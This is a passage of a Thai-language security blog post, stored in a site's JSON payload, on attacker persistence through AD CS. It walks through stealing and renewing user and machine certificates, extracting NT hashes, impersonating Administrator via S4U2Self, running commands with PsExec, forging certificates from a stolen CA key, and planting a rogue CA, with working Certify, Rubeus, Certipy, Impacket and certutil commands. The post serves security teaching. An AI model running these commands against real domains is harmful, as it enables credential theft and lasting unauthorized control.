[{"data":1,"prerenderedAt":1268},["ShallowReactive",2],{"blog-adcs-persistence":3},{"post":4,"upNext":1226,"linkedPosts":1256},{"id":5,"title":6,"author":7,"body":8,"date":1207,"description":1208,"draft":1209,"extension":1210,"faq":1211,"image":1212,"lang":1213,"lastReviewed":1211,"link":1214,"meta":1215,"navigation":558,"path":1216,"seo":1217,"stem":1218,"tags":1219,"type":1224,"__hash__":1225},"content\u002Fblogs\u002F2026-01-15-adcs-persistence.md","Persistence with Active Directory Certificate Services (AD CS)","Suppawej Kerdphol",{"type":9,"value":10,"toc":1200},"minimark",[11,16,20,26,31,34,44,47,51,56,59,75,82,85,95,111,118,126,129,138,145,157,202,209,214,230,239,246,249,256,262,265,272,276,287,294,301,310,317,321,327,399,406,409,441,444,450,459,466,469,479,583,591,601,619,626,629,635,639,642,654,710,717,720,726,728,732,736,739,744,750,753,760,763,771,774,806,813,817,820,827,830,837,841,855,858,926,933,942,967,974,977,985,990,997,1000,1003,1036,1043,1047,1050,1057,1060,1067,1071,1074,1102,1105,1112,1119,1128,1135,1138,1146,1148,1151,1154,1159,1178,1183,1188,1194,1196],[12,13,15],"h2",{"id":14},"introduction","Introduction",[17,18,19],"p",{},"จากบทความ Introduction to Active Directory Certificate Services (AD CS) ก่อนหน้าที่เราเล่าถึงองค์ประกอบต่าง ๆ ของ AD CS ไปแล้ว ในบทความนี้จะเป็นภาคต่อเราจะพูดถึงเทคนิคที่ผู้โจมตีใช้ในการฝังตัวอยู่ในระบบ (persistence) ด้วย AD CS กันครับ",[17,21,22],{},[23,24,25],"a",{"href":25},"\u002Fblogs\u002Fintroduction-to-adcs",[27,28,30],"h3",{"id":29},"persistence-คืออะไร","Persistence คืออะไร",[17,32,33],{},"Persistence เป็นเทคนิคที่ผู้โจมตีใช้เพื่อให้สามารถเข้าถึงระบบหรือเครือข่ายที่โจมตีได้สำเร็จแล้วอย่างต่อเนื่อง ถึงแม้ว่าเครื่องเป้าหมายจะถูก restart เครื่อง, เปลี่ยนรหัสผ่าน, ช่องโหว่ที่ถูกใช้ในการโจมตีเข้ามาได้รับการแก้ไขไปแล้วก็ตาม",[17,35,36],{},[37,38],"img",{"alt":39,"src":40,"full-width":41,"width":42,"height":43},"Meme from SpecterOps’s “Certified Pre-Owned: Abusing Active Directory Certificate Services”","\u002Fimages\u002Fblogs\u002F2026-01-15-adcs-persistence\u002F1_Hf4vRJww0O6QNok3aGK7og.png","",500,686,[45,46],"hr",{},[27,48,50],{"id":49},"account-persistence","Account Persistence",[52,53,55],"h4",{"id":54},"active-user-credential-theft-via-certificates-persist1","Active User Credential Theft via Certificates (PERSIST1)",[17,57,58],{},"เทคนิคนี้เป็นการที่เราใช้ user ที่ต้องการทำ persistence ขอ request certificate ใหม่ด้วย template ที่ตัวเองมีสิทธิ์ หรือ ขโมย certificate ที่เคยมีการขอเอาไว้อยู่แล้ว โดย template ที่ใช้จะต้องอนุญาตให้นำ certificate ไปทำการ authenticate กับ AD เป็น user นั้น ๆ ได้ ดังนั้น requirements ของ template จึงมีดังนี้",[60,61,62,66,69,72],"ol",{},[63,64,65],"li",{},"Template ถูก publish ให้สามารถ enroll ได้",[63,67,68],{},"Template อนุญาตให้ domain users หรือ group ที่ user เป้าหมายเป็น member อยู่ สามารถ enroll ได้",[63,70,71],{},"ไม่ต้องรอ manager approve",[63,73,74],{},"มีการระบุ Extended Key Usage (EKU) ให้นำ certificate ที่ได้ไปใช้ authenticate กับ AD ได้อย่างน้อย 1 รายการในตารางนี้",[17,76,77],{},[37,78],{"alt":79,"src":80,"width":81},"EKUs that enable domain authentication from SpecterOps’s whitepaper","\u002Fimages\u002Fblogs\u002F2026-01-15-adcs-persistence\u002F1_7KY6_bVIIIUyuXrTNpq9CA.png",800,[17,83,84],{},"เทคนิคนี้จะทำให้ attacker สามารถเข้าถึง user ที่ใช้ขอ certificate ได้ตามระยะเวลาของ certificate (โดยปกติแล้วคือ 1 ปี)",[17,86,87,88,94],{},"ใช้ tool ",[23,89,93],{"href":90,"rel":91,"title":90},"https:\u002F\u002Fgithub.com\u002FGhostPack\u002FCertify",[92],"nofollow","Certify"," ค้นหา certificate template ที่สามารถนำไปใช้ทำ client authentication ได้",[96,97,101],"pre",{"className":98,"code":99,"language":100,"meta":41,"style":41},"language-powershell shiki shiki-themes github-light","PS> Certify.exe find \u002Fclientauth\n","powershell",[102,103,104],"code",{"__ignoreMap":41},[105,106,109],"span",{"class":107,"line":108},"line",1,[105,110,99],{},[17,112,113,114,117],{},"โดยปกติแล้ว หากมีการใช้งาน AD CS ตั้งค่าแบบ default จะมี template ชื่อว่า ",[102,115,116],{},"User"," ซึ่งตรงกับ requirements ของเทคนิคนี้",[17,119,120],{},[37,121],{"alt":122,"src":123,"full-width":41,"width":124,"height":125},"“User” certificate template details from Certify","\u002Fimages\u002Fblogs\u002F2026-01-15-adcs-persistence\u002F1_6o_F5vfTc9mCERY0j-OW7Q.png",1600,523,[17,127,128],{},"เราสามารถใช้ Certify ในการขอ certificate ได้ โดยระบุ CA หรือ Certificate Authority และ ชื่อ template ซึ่ง tool จะใช้สิทธิ์ของ user ปัจจุบันที่ logon อยู่ในการขอ",[96,130,132],{"className":98,"code":131,"language":100,"meta":41,"style":41},"PS> Certify.exe request \u002Fca:DC01\\demo-DC01-CA \u002Ftemplate:User\n",[102,133,134],{"__ignoreMap":41},[105,135,136],{"class":107,"line":108},[105,137,131],{},[17,139,140],{},[37,141],{"alt":142,"src":143,"full-width":41,"width":124,"height":144},"Request a certificate using the “User” template with Certify","\u002Fimages\u002Fblogs\u002F2026-01-15-adcs-persistence\u002F1_BWhbHmS007thNE3m2segWg.png",2065,[17,146,147,148,152,153,156],{},"หากสำเร็จจะได้รับ certificate และ private key ใน format ",[149,150,151],"strong",{},".pem"," ซึ่งเราสามารถ convert ให้เป็น format ",[149,154,155],{},".pfx"," เพื่อให้สามารถนำไปใช้ต่อได้ด้วย openssl",[96,158,162],{"className":159,"code":160,"language":161,"meta":41,"style":41},"language-bash shiki shiki-themes github-light","bash$ openssl pkcs12 -in asmith.pem -keyex -CSP \"Microsoft Enhanced Cryptographic Provider v1.0\" -export -out asmith.pfx\n","bash",[102,163,164],{"__ignoreMap":41},[105,165,166,170,174,177,181,184,187,190,193,196,199],{"class":107,"line":108},[105,167,169],{"class":168},"s7eDp","bash$",[105,171,173],{"class":172},"sYBdl"," openssl",[105,175,176],{"class":172}," pkcs12",[105,178,180],{"class":179},"sYu0t"," -in",[105,182,183],{"class":172}," asmith.pem",[105,185,186],{"class":179}," -keyex",[105,188,189],{"class":179}," -CSP",[105,191,192],{"class":172}," \"Microsoft Enhanced Cryptographic Provider v1.0\"",[105,194,195],{"class":179}," -export",[105,197,198],{"class":179}," -out",[105,200,201],{"class":172}," asmith.pfx\n",[17,203,204],{},[37,205],{"alt":206,"src":207,"full-width":41,"width":124,"height":208},"Convert the requested certificate and its private key to pfx format","\u002Fimages\u002Fblogs\u002F2026-01-15-adcs-persistence\u002F1_sEcioV_HE_ozDbx8RZ-yhw.png",398,[17,210,211],{},[149,212,213],{},"การนำ certificate ไปใช้งาน",[17,215,216,217,219,220,225,226,229],{},"ไฟล์ ",[149,218,155],{}," นี้สามารถนำไปใช้กับ tool ",[23,221,224],{"href":222,"rel":223,"title":222},"https:\u002F\u002Fgithub.com\u002FGhostPack\u002FRubeus",[92],"Rubeus"," บนเครื่องเป้าหมายเพื่อใช้ขอ Ticket Granting Ticket (TGT) ของ user ได้ หากระบุ option ",[102,227,228],{},"\u002Fgetcredentials"," เพิ่ม จะเป็นการใช้เทคนิค UnPAC the hash เพื่อดึงค่า LM \u002F NT hash ของผู้ใช้",[96,231,233],{"className":98,"code":232,"language":100,"meta":41,"style":41},"PS> Rubeus.exe asktgt \u002Fuser:asmith \u002Fcertificate:asmith.pfx \u002Fgetcredentials\n",[102,234,235],{"__ignoreMap":41},[105,236,237],{"class":107,"line":108},[105,238,232],{},[17,240,241],{},[37,242],{"alt":243,"src":244,"full-width":41,"width":124,"height":245},"Authenticate to AD with the certificate (“User” template)","\u002Fimages\u002Fblogs\u002F2026-01-15-adcs-persistence\u002F1_SgwSMPGlD8fwgnDlRLu7KQ.png",1789,[17,247,248],{},"NT hash ที่ได้มาก็สามารถนำไป pass-the-hash ได้เลย ถึงแม้ว่า user จะเปลี่ยนรหัสไปแล้วแต่ถ้า certificate ยัง valid อยู่ เราก็ยังสามารถดึง hash รหัสผ่านใหม่ออกมาได้",[17,250,251],{},[37,252],{"alt":253,"src":254,"full-width":41,"width":124,"height":255},"PTH to the DC","\u002Fimages\u002Fblogs\u002F2026-01-15-adcs-persistence\u002F1_mxTi1Cl6tqAUc095fdZy_A.png",265,[17,257,258],{},[37,259],{"alt":260,"src":261,"full-width":41,"width":42,"height":42},"Realization meme","\u002Fimages\u002Fblogs\u002F2026-01-15-adcs-persistence\u002F1_oEQ_SMdG-nKmaX_kSMPuAg.jpg",[17,263,264],{},"ถ้าไปดูที่ Issued Certificates ใน (certsrv.msc) จะเห็นว่ามี certificate ของเราขึ้นมา",[17,266,267],{},[37,268],{"alt":269,"src":270,"full-width":41,"width":124,"height":271},"Issued Certificates in certsrv.msc","\u002Fimages\u002Fblogs\u002F2026-01-15-adcs-persistence\u002F1_P4HT0aSeN571vBXk-xK7zg.png",993,[52,273,275],{"id":274},"machine-persistence-with-certificates-persist2","Machine Persistence with Certificates (PERSIST2)",[17,277,278,279,282,283,286],{},"อีกเทคนิคหนึ่ง ถ้าเรายึดเครื่องได้เป็นสิทธิ์ SYSTEM แล้ว เราจะสามารถใช้ machine account ขอออก certificate โดยใช้ default template ",[102,280,281],{},"Machine"," ซึ่งให้สิทธิ์ group",[102,284,285],{},"Domain Computers","สามารถ enroll ได้",[17,288,289],{},[37,290],{"alt":291,"src":292,"full-width":41,"width":124,"height":293},"“Machine” certificate template details from Certify","\u002Fimages\u002Fblogs\u002F2026-01-15-adcs-persistence\u002F1_ejNMrBNgihS0mn_3hpCgvQ.png",684,[17,295,296,297,300],{},"เราใช้ Certify ขอออก certificate ได้เหมือนเดิมแต่เพิ่ม option ",[102,298,299],{},"\u002Fmachine"," เพื่อเป็นการสั่งให้ยกระดับสิทธิ์เป็น SYSTEM ซึ่งฝั่ง CA server จะเห็นว่าเป็น machine account เป็น user ที่ request มา",[96,302,304],{"className":98,"code":303,"language":100,"meta":41,"style":41},"PS> Certify.exe request \u002Fca:DC01\\demo-DC01-CA \u002Ftemplate:Machine \u002Fmachine\n",[102,305,306],{"__ignoreMap":41},[105,307,308],{"class":107,"line":108},[105,309,303],{},[17,311,312],{},[37,313],{"alt":314,"src":315,"full-width":41,"width":124,"height":316},"Request a certificate using the “Machine” template with Certify","\u002Fimages\u002Fblogs\u002F2026-01-15-adcs-persistence\u002F1_UHdjOlGdz_ARy_znTZmH6g.png",1694,[17,318,319],{},[149,320,213],{},[17,322,323,324,326],{},"Certificate ที่ได้มา นำไป convert ด้วย openssl และ authenticate ด้วย Rubeus ได้เหมือนกับ template ",[102,325,116],{}," ในเทคนิคแรก",[96,328,330],{"className":159,"code":329,"language":161,"meta":41,"style":41},"# Convert เป็น .pfx ด้วย openssl\nbash$ openssl pkcs12 -in WORKSTATION01.pem -keyex -CSP \"Microsoft Enhanced Cryptographic Provider v1.0\" -export -out WORKSTATION01.pfx\n# Authenticate ไปยัง domain controller\nPS> Rubeus.exe asktgt \u002Fuser:WORKSTATION01$ \u002Fcertificate:WORKSTATION01.pfx \u002Fgetcredentials\n",[102,331,332,338,365,371],{"__ignoreMap":41},[105,333,334],{"class":107,"line":108},[105,335,337],{"class":336},"sAwPA","# Convert เป็น .pfx ด้วย openssl\n",[105,339,341,343,345,347,349,352,354,356,358,360,362],{"class":107,"line":340},2,[105,342,169],{"class":168},[105,344,173],{"class":172},[105,346,176],{"class":172},[105,348,180],{"class":179},[105,350,351],{"class":172}," WORKSTATION01.pem",[105,353,186],{"class":179},[105,355,189],{"class":179},[105,357,192],{"class":172},[105,359,195],{"class":179},[105,361,198],{"class":179},[105,363,364],{"class":172}," WORKSTATION01.pfx\n",[105,366,368],{"class":107,"line":367},3,[105,369,370],{"class":336},"# Authenticate ไปยัง domain controller\n",[105,372,374,377,381,384,387,390,393,396],{"class":107,"line":373},4,[105,375,376],{"class":168},"PS",[105,378,380],{"class":379},"sgsFI","> ",[105,382,383],{"class":172},"Rubeus.exe",[105,385,386],{"class":172}," asktgt",[105,388,389],{"class":172}," \u002Fuser:WORKSTATION01",[105,391,392],{"class":379},"$ ",[105,394,395],{"class":172},"\u002Fcertificate:WORKSTATION01.pfx",[105,397,398],{"class":172}," \u002Fgetcredentials\n",[17,400,401],{},[37,402],{"alt":403,"src":404,"full-width":41,"width":124,"height":405},"Authenticate to AD with the certificate (“Machine” template)","\u002Fimages\u002Fblogs\u002F2026-01-15-adcs-persistence\u002F1_J59PPP-jZe6LNF4ojVmbbA.png",1457,[17,407,408],{},"เราสามารถได้ persistence สำหรับ computer ด้วยวิธีการต่าง ๆ เช่น",[410,411,412,419,432],"ul",{},[63,413,414,415,418],{},"ใช้ TGT กับ ",[149,416,417],{},"S4U2Self"," ซึ่งเป็น Kerberos extension สำหรับขอ Service Ticket ในนามของ user ใดก็ได้ สำหรับ service ใด ๆ ในเครื่อง",[63,420,421,422,427,428,431],{},"ใช้ NT hash Pass-the-Hash ด้วย ",[23,423,426],{"href":424,"rel":425,"title":424},"https:\u002F\u002Fgithub.com\u002Ffortra\u002Fimpacket\u002Fblob\u002Fmaster\u002Fexamples\u002Frbcd.py",[92],"Impacket rbcd.py"," ไปแก้ค่า attribute ",[102,429,430],{},"msDS-AllowedToActOnBehalfOfOtherIdentity"," ของ machine account ตัวเอง ทำให้สามารถตั้งค่า Resource-Based Constrained Delegation (RBCD) ได้",[63,433,434,435,440],{},"ใช้ NT hash forge Silver Ticket ด้วย ",[23,436,439],{"href":437,"rel":438,"title":437},"https:\u002F\u002Fgithub.com\u002Ffortra\u002Fimpacket\u002Fblob\u002Fmaster\u002Fexamples\u002Fticketer.py",[92],"Impacket ticketer.py"," โดย impersonate เป็น user ใดก็ได้",[17,442,443],{},"ในบทความนี้จะใช้เทคนิค S4U2Self ขอ Service Ticket โดยระบุ Service Principal Name (SPN) เป็น CIFS (Common Internet File System), impersonate เป็น user Administrator ซึ่งอยู่ใน group Domain Admins เพื่อใช้เข้า file share และ ทำ command execution ด้วย PsExec",[17,445,446,447],{},"เราสามารถใช้ Rubeus ได้ตามคำสั่งด้านล่าง โดยที่ระบุ TGT ที่ได้จากการ authenticate ไปยัง domain controller ในภาพก่อนหน้า ที่ option ",[102,448,449],{},"\u002Fticket",[96,451,453],{"className":98,"code":452,"language":100,"meta":41,"style":41},"PS> Rubeus.exe s4u \u002Fself \u002Fnowrap \u002Fimpersonateuser:\"Administrator\" \u002Faltservice:\"cifs\u002Fworkstation01.demo.local\" \u002Fticket:\"base64 encoded TGT\"\n",[102,454,455],{"__ignoreMap":41},[105,456,457],{"class":107,"line":108},[105,458,452],{},[17,460,461],{},[37,462],{"alt":463,"src":464,"full-width":41,"width":124,"height":465},"Impersonate as Administrator with S4U2Self","\u002Fimages\u002Fblogs\u002F2026-01-15-adcs-persistence\u002F1_2rbliMRRVQJDLdAO4vjjOg.png",988,[17,467,468],{},"ถัดมาเราเอา service ticket ที่ได้ไปใช้ต่อ",[410,470,471],{},[63,472,473,474],{},"เชื่อมต่อไปยัง file share ด้วย ",[23,475,478],{"href":476,"rel":477,"title":476},"https:\u002F\u002Fgithub.com\u002Ffortra\u002Fimpacket\u002Fblob\u002Fmaster\u002Fexamples\u002Fsmbclient.py",[92],"Impacket smbclient.py",[96,480,482],{"className":159,"code":481,"language":161,"meta":41,"style":41},"# Decode Service Ticket จาก Rubeus\nbash$ echo -n \"base64 encoded Service Ticket\" | base64 -d > workstation01.kirbi\n# Convert ticket เป็น ccache format\nbash$ impacket-ticketConverter workstation01.kirbi workstation01.ccache\n# Reference ไฟล์ ccache ใน environment variable KRB5CCNAME\nbash$ export KRB5CCNAME=workstation01.ccache\n\n# เชื่อมต่อไปยัง file share โดยใช้ Kerberos authentication\nbash$ impacket-smbclient -k -no-pass demo.local\u002FAdministrator@workstation01.demo.local\n",[102,483,484,489,518,523,536,542,553,560,566],{"__ignoreMap":41},[105,485,486],{"class":107,"line":108},[105,487,488],{"class":336},"# Decode Service Ticket จาก Rubeus\n",[105,490,491,493,496,499,502,506,509,512,515],{"class":107,"line":340},[105,492,169],{"class":168},[105,494,495],{"class":172}," echo",[105,497,498],{"class":179}," -n",[105,500,501],{"class":172}," \"base64 encoded Service Ticket\"",[105,503,505],{"class":504},"sD7c4"," |",[105,507,508],{"class":168}," base64",[105,510,511],{"class":179}," -d",[105,513,514],{"class":504}," >",[105,516,517],{"class":172}," workstation01.kirbi\n",[105,519,520],{"class":107,"line":367},[105,521,522],{"class":336},"# Convert ticket เป็น ccache format\n",[105,524,525,527,530,533],{"class":107,"line":373},[105,526,169],{"class":168},[105,528,529],{"class":172}," impacket-ticketConverter",[105,531,532],{"class":172}," workstation01.kirbi",[105,534,535],{"class":172}," workstation01.ccache\n",[105,537,539],{"class":107,"line":538},5,[105,540,541],{"class":336},"# Reference ไฟล์ ccache ใน environment variable KRB5CCNAME\n",[105,543,545,547,550],{"class":107,"line":544},6,[105,546,169],{"class":168},[105,548,549],{"class":172}," export",[105,551,552],{"class":172}," KRB5CCNAME=workstation01.ccache\n",[105,554,556],{"class":107,"line":555},7,[105,557,559],{"emptyLinePlaceholder":558},true,"\n",[105,561,563],{"class":107,"line":562},8,[105,564,565],{"class":336},"# เชื่อมต่อไปยัง file share โดยใช้ Kerberos authentication\n",[105,567,569,571,574,577,580],{"class":107,"line":568},9,[105,570,169],{"class":168},[105,572,573],{"class":172}," impacket-smbclient",[105,575,576],{"class":179}," -k",[105,578,579],{"class":179}," -no-pass",[105,581,582],{"class":172}," demo.local\u002FAdministrator@workstation01.demo.local\n",[17,584,585],{},[37,586],{"alt":587,"src":588,"full-width":41,"width":589,"height":590},"Convert and use the service ticket","\u002Fimages\u002Fblogs\u002F2026-01-15-adcs-persistence\u002F1_Ts_XEWswCGAAXEbJeBlNGw.png",893,699,[410,592,593],{},[63,594,595,596],{},"Execute command ด้วย ",[23,597,600],{"href":598,"rel":599,"title":598},"https:\u002F\u002Fgithub.com\u002Ffortra\u002Fimpacket\u002Fblob\u002Fmaster\u002Fexamples\u002Fpsexec.py",[92],"Impacket psexec.py",[96,602,604],{"className":159,"code":603,"language":161,"meta":41,"style":41},"bash$ impacket-psexec -k -no-pass demo.local\u002FAdministrator@workstation01.demo.local\n",[102,605,606],{"__ignoreMap":41},[105,607,608,610,613,615,617],{"class":107,"line":108},[105,609,169],{"class":168},[105,611,612],{"class":172}," impacket-psexec",[105,614,576],{"class":179},[105,616,579],{"class":179},[105,618,582],{"class":172},[17,620,621],{},[37,622],{"alt":623,"src":624,"full-width":41,"width":124,"height":625},"Command execution with PsExec","\u002Fimages\u002Fblogs\u002F2026-01-15-adcs-persistence\u002F1_QK_a0F9vUCP68rWtP0XgUg.png",915,[17,627,628],{},"ดูที่ Issued Certificates จะเห็นว่า Requester Name เป็น machine account",[17,630,631],{},[37,632],{"alt":269,"src":633,"full-width":41,"width":124,"height":634},"\u002Fimages\u002Fblogs\u002F2026-01-15-adcs-persistence\u002F1_GVyPyk79rSZyP89gnKT7wA.png",1061,[52,636,638],{"id":637},"extending-persistence-through-certificate-renewal-persist3","Extending Persistence Through Certificate Renewal (PERSIST3)",[17,640,641],{},"Certificate template จะมีอายุระบุเอาไว้ว่า certificate ที่ออกมาสามารถนำไปใช้ได้นานแค่ไหน (Validity Period) และ ช่วงเวลาก่อนที่จะหมดอายุที่ user สามารถขอ renew certificate ใหม่ได้ (Renewal Period)",[17,643,644,645,650,651],{},"ในกรณีที่มี certificate อยู่แล้ว เราสามารถขอ renew ก่อนที่จะหมดอายุเพื่อต่ออายุ maintain access ต่อไปได้โดยไม่ต้อง enroll ใหม่ tool ",[23,646,649],{"href":647,"rel":648,"title":647},"https:\u002F\u002Fgithub.com\u002Fly4k\u002FCertipy",[92],"Certipy"," มี option ระบุให้ renew certificate ได้คือ ",[102,652,653],{},"-renew",[96,655,657],{"className":159,"code":656,"language":161,"meta":41,"style":41},"bash$ certipy-ad req -ca demo-DC01-CA -username WORKSTATION01$ -hashes :BF0B65F91569500933C2112F80976DB2 -target dc01 -pfx workstation01.pfx -template Machine -renew\n",[102,658,659],{"__ignoreMap":41},[105,660,661,663,666,669,672,675,678,681,683,686,689,692,695,698,701,704,707],{"class":107,"line":108},[105,662,169],{"class":168},[105,664,665],{"class":172}," certipy-ad",[105,667,668],{"class":172}," req",[105,670,671],{"class":179}," -ca",[105,673,674],{"class":172}," demo-DC01-CA",[105,676,677],{"class":179}," -username",[105,679,680],{"class":172}," WORKSTATION01",[105,682,392],{"class":379},[105,684,685],{"class":179},"-hashes",[105,687,688],{"class":172}," :BF0B65F91569500933C2112F80976DB2",[105,690,691],{"class":179}," -target",[105,693,694],{"class":172}," dc01",[105,696,697],{"class":179}," -pfx",[105,699,700],{"class":172}," workstation01.pfx",[105,702,703],{"class":179}," -template",[105,705,706],{"class":172}," Machine",[105,708,709],{"class":179}," -renew\n",[17,711,712],{},[37,713],{"alt":714,"src":715,"full-width":41,"width":124,"height":716},"Renew an existing certificate with certipy","\u002Fimages\u002Fblogs\u002F2026-01-15-adcs-persistence\u002F1_xoEsXKcigbBlOgXvyvQQEQ.png",597,[17,718,719],{},"ดูที่ Issued Certificates เห็นว่ามีทั้ง certificate เก่าที่ยังคงอยู่ และ certificate ใหม่ขึ้นมาด้วย",[17,721,722],{},[37,723],{"alt":269,"src":724,"full-width":41,"width":124,"height":725},"\u002Fimages\u002Fblogs\u002F2026-01-15-adcs-persistence\u002F1_z-r-a_9aUiZOf_c7cQP56g.png",760,[45,727],{},[27,729,731],{"id":730},"domain-persistence","Domain Persistence",[52,733,735],{"id":734},"forging-certificates-with-stolen-ca-certificates-dpersist1","Forging Certificates with Stolen CA Certificates (DPERSIST1)",[17,737,738],{},"คล้ายกับเทคนิค Golden Ticket ของ Benjamin Delpy ที่ใช้ hash ของ KRBTGT ในการ forge Kerberos ticket (มีพูดถึงในบทความ Domain Controller Post-exploitation)",[17,740,741],{},[23,742,743],{"href":743},"\u002Fblogs\u002Fdomain-controller-post-exploitation",[17,745,746,747],{},"แต่สำหรับ AD CS จะเป็นการ forge certificate โดยใช้ CA private key ที่ขโมยออกมา บางคนอาจจะเรียกท่านี้ว่า ",[149,748,749],{},"Golden Certificate",[17,751,752],{},"วิธีการคือเราใช้ account ที่มีสิทธิ์ไป export CA certificate และ private key ออกมาจาก CA server (ซึ่งโดยปกติแล้วจะมีอายุ 5 ถึง 10 ปี) โดยเราสามารถใช้ Certify ค้นหา CA certificate ได้",[17,754,755],{},[37,756],{"alt":757,"src":758,"full-width":41,"width":124,"height":759},"Find certificate authorities with Certify","\u002Fimages\u002Fblogs\u002F2026-01-15-adcs-persistence\u002F1_4TsWaLiC-lgx3VMYseI1LA.png",1079,[17,761,762],{},"Private Key และ CA certificate สามารถ backup ออกมาผ่าน certsrv.msc ได้เลย",[17,764,765],{},[37,766],{"alt":767,"src":768,"full-width":41,"width":769,"height":770},"Export CA with certsrv.msc","\u002Fimages\u002Fblogs\u002F2026-01-15-adcs-persistence\u002F1_h_pz_U3ioba-hyvpYB1MaQ.png",1482,546,[17,772,773],{},"ใช้ Certipy forge certificate ขึ้นมา ด้วย CA ที่ export ออกมา ในตัวอย่างนี้ระบุ user เป็น Administrator",[96,775,777],{"className":159,"code":776,"language":161,"meta":41,"style":41},"bash$ certipy-ad forge -ca-pfx demo-DC01-CA.pfx -upn administrator@demo.local -subject 'CN=Administrator,CN=Users,DC=DEMO,DC=LOCAL'\n",[102,778,779],{"__ignoreMap":41},[105,780,781,783,785,788,791,794,797,800,803],{"class":107,"line":108},[105,782,169],{"class":168},[105,784,665],{"class":172},[105,786,787],{"class":172}," forge",[105,789,790],{"class":179}," -ca-pfx",[105,792,793],{"class":172}," demo-DC01-CA.pfx",[105,795,796],{"class":179}," -upn",[105,798,799],{"class":172}," administrator@demo.local",[105,801,802],{"class":179}," -subject",[105,804,805],{"class":172}," 'CN=Administrator,CN=Users,DC=DEMO,DC=LOCAL'\n",[17,807,808],{},[37,809],{"alt":810,"src":811,"full-width":41,"width":124,"height":812},"Forge a certificate using the exported CA","\u002Fimages\u002Fblogs\u002F2026-01-15-adcs-persistence\u002F1_muEbAV_xY0Z29_mw62KZLQ.png",281,[17,814,815],{},[149,816,213],{},[17,818,819],{},"เราสามารถใช้ Certipy นำ certificate ไป authenticate ได้เหมือนกัน โดยจะได้ hash ของ user ออกมา",[17,821,822],{},[37,823],{"alt":824,"src":825,"full-width":41,"width":124,"height":826},"Authenticate with the forged certificate","\u002Fimages\u002Fblogs\u002F2026-01-15-adcs-persistence\u002F1_5mIt_ssVv5njCCTRU-yZxQ.png",482,[17,828,829],{},"CA จะไม่สามารถ revoke certificate ที่ถูก forge ขึ้นมาได้เพราะตอนที่ forge ขึ้นมาไม่ต้องมีการส่ง request ไปยัง CA server เลย ถ้าเราดูที่ Issued Certificates จะเห็นว่าไม่มี certificate ของ Administrator ขึ้นมาถึงแม้ว่าจะใช้ authenticate ไปแล้วก็ตาม",[17,831,832],{},[37,833],{"alt":834,"src":835,"full-width":41,"width":124,"height":836},"Forged certificate not showing in certsrv.msc","\u002Fimages\u002Fblogs\u002F2026-01-15-adcs-persistence\u002F1_klyC-YxrLf-xDfqu7kxMag.png",401,[52,838,840],{"id":839},"trusting-rogue-ca-certificates-dpersist2","Trusting Rogue CA Certificates (DPERSIST2)",[17,842,843,844,847,848,851,852,854],{},"เราสามารถตั้งค่าให้ระบบ trust CA certificate อื่นได้ โดยสามารถกำหนดค่า attribute ",[102,845,846],{},"cacertificate"," ใน ",[102,849,850],{},"NTAuthCertificates"," object ให้ trust CA certificate มากกว่า 1 certificate เราสามารถ generate self-signed CA certificate ขึ้นมา และ เพิ่มเข้าไปใน attribute ",[102,853,846],{}," ได้ในกรณีที่มีสิทธิ์แก้ไข object นี้ จากนั้นเราจะใช้ท่าเดียวกันกับ DPERSIST1 ในการ forge certificate ขึ้นมา แต่ในรอบนี้เราจะใช้ rogue CA ที่เรา generate ขึ้นมา",[17,856,857],{},"เราสามารถ generate private key และ CA certificate ขึ้นมาใหม่ด้วย openssl",[96,859,861],{"className":159,"code":860,"language":161,"meta":41,"style":41},"# Generate private key\nbash$ openssl genrsa -out myCA.key 2048\n# Generate certificate\nbash$ openssl req -x509 -new -nodes -key myCA.key -sha256 -days 1825 -out myCA.crt\n",[102,862,863,868,885,890],{"__ignoreMap":41},[105,864,865],{"class":107,"line":108},[105,866,867],{"class":336},"# Generate private key\n",[105,869,870,872,874,877,879,882],{"class":107,"line":340},[105,871,169],{"class":168},[105,873,173],{"class":172},[105,875,876],{"class":172}," genrsa",[105,878,198],{"class":179},[105,880,881],{"class":172}," myCA.key",[105,883,884],{"class":179}," 2048\n",[105,886,887],{"class":107,"line":367},[105,888,889],{"class":336},"# Generate certificate\n",[105,891,892,894,896,898,901,904,907,910,912,915,918,921,923],{"class":107,"line":373},[105,893,169],{"class":168},[105,895,173],{"class":172},[105,897,668],{"class":172},[105,899,900],{"class":179}," -x509",[105,902,903],{"class":179}," -new",[105,905,906],{"class":179}," -nodes",[105,908,909],{"class":179}," -key",[105,911,881],{"class":172},[105,913,914],{"class":179}," -sha256",[105,916,917],{"class":179}," -days",[105,919,920],{"class":179}," 1825",[105,922,198],{"class":179},[105,924,925],{"class":172}," myCA.crt\n",[17,927,928],{},[37,929],{"alt":930,"src":931,"full-width":41,"width":124,"height":932},"Generate rogue CA with openssl","\u002Fimages\u002Fblogs\u002F2026-01-15-adcs-persistence\u002F1_jCmTPo75VQrtRUNQAXIeaw.png",1224,[17,934,935,936,941],{},"จากนั้นใช้ ",[23,937,940],{"href":938,"rel":939},"https:\u002F\u002Flearn.microsoft.com\u002Fen-us\u002Ftroubleshoot\u002Fwindows-server\u002Fcertificates-and-public-key-infrastructure-pki\u002Fimport-third-party-ca-to-enterprise-ntauth-store#method-2---import-a-certificate-by-using-certutilexe",[92],"Certutil"," ตั้งค่าให้เครื่องเป้าหมาย trust CA certificate ที่เราเพิ่ง generate ขึ้นมา",[96,943,945],{"className":98,"code":944,"language":100,"meta":41,"style":41},"# publishes the CA certificate to the Enterprise NTAuth store\nPS> certutil -dspublish -f myCA.crt NTAuthCA\n# adds the certificate to the NTAuth machine enterprise store\nPS> certutil -enterprise -addstore NTAuth myCA.crt\n",[102,946,947,952,957,962],{"__ignoreMap":41},[105,948,949],{"class":107,"line":108},[105,950,951],{},"# publishes the CA certificate to the Enterprise NTAuth store\n",[105,953,954],{"class":107,"line":340},[105,955,956],{},"PS> certutil -dspublish -f myCA.crt NTAuthCA\n",[105,958,959],{"class":107,"line":367},[105,960,961],{},"# adds the certificate to the NTAuth machine enterprise store\n",[105,963,964],{"class":107,"line":373},[105,965,966],{},"PS> certutil -enterprise -addstore NTAuth myCA.crt\n",[17,968,969],{},[37,970],{"alt":971,"src":972,"full-width":41,"width":124,"height":973},"Publish the generated CA with command line","\u002Fimages\u002Fblogs\u002F2026-01-15-adcs-persistence\u002F1_DhsK8L2Nwz8Owc8KWuVJIQ.png",698,[17,975,976],{},"อีกวิธีที่สามารถทำได้คือใช้ PKIView (pkiview.msc) กด Add เพิ่ม แล้วจะขึ้น status เป็น Untrusted Root แต่สามารถ install ลง trusted CA ได้ทำให้ status เป็น OK",[17,978,979],{},[37,980],{"alt":981,"src":982,"full-width":41,"width":983,"height":984},"Publish 